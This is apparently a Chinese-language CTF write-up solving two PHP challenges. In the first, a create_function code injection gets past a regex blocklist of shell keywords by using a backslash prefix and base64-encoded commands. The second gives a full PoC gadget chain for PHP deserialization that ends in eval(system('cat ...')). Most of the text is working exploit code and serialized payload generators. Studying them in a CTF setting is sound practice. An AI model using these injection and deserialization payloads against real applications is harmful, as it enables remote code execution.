0x01.hellounser

$func('', $this->arg);

可以确定是create_function代码注入

但存在以下过滤条件

preg_match('/^[a-z0-9]*$/isD', $this->func)

控制了$this->func的第一个字符不能是数字字母

使用$this->func=\create_function即可绕过

preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)

发现没有ban掉system 但是过滤了引号 base64编码一下就好了

因为过滤了等号 要一直base64加密到没有等号为止

ls要经过四次base64加密 比较麻烦

当时用了另一种方法

注意到include "flag.php";

可以用get_defined_vars来获取所有注册的变量

<?php
class A
{
    public $var;
    public function __construct($obj)
    {
        $this->var = $obj;
    }
}
class B
{
    public $func = "\create_function";
    public $arg = ";};var_dump(get_defined_vars());//";
}
$b=new B();
$a = new A($b);
echo urlencode(serialize($a));

1.png
cat T* 经过一次base64加密--> Y2F0IFQq
public $arg = ";};var_dump(system(base64_decode(Y2F0IFQq)));//";
查看源代码即可得到flag
2.png

0x02.xxc

这条链还算容易找的...
直接放Poc

<?php
namespace Control\State {   //wakeup
    use Faker\MyGenerator;
    class StopHook
    {
        protected $processes;

        public function __construct()
        {
            $this->processes = array(new MyGenerator());
        }
    }
    require 'closure\autoload.php';
    $a=new StopHook();
    echo base64_encode(serialize($a));
}
namespace Faker{  //call
    use Method\Func\GetFile;
    class MyGenerator
    {
        protected $defaultValue;
        public function __construct()
        {
            $this->defaultValue=new GetFile();
        }
    }

}
namespace Method\Func{  //toString

    class GetFile {    //isset

        private $files = [];
        public function __construct()
        {
            $this->flag=new GetDefault();
            $this->value="test";
        }
    }
    class GetDefault {
        private $source;
        public function __construct()
        {
            $this->source=new GenerateFile();
            $this->source->flag="myTest";   //invoke 666
        }

    }
    class GenerateFile {
        public $flag;
        protected $buffer;
        public function __construct()
        {
            $function=function(){eval(system('cat /f1@g.txt'));};
            $b=\Opis\Closure\serialize($function);
            $c=unserialize($b);
            $this->source->generate=$c;

        }
        public function myGen($length) {
            $s = $this->buffer->read;
            call_user_func($this->source->generate, $length);
            return $s;
        }
    }
}

要注意的是根目录下的flag改名了=.=
/f1@g.txt

cat了贼久。。以后比赛必定先ls一下

上一篇 下一篇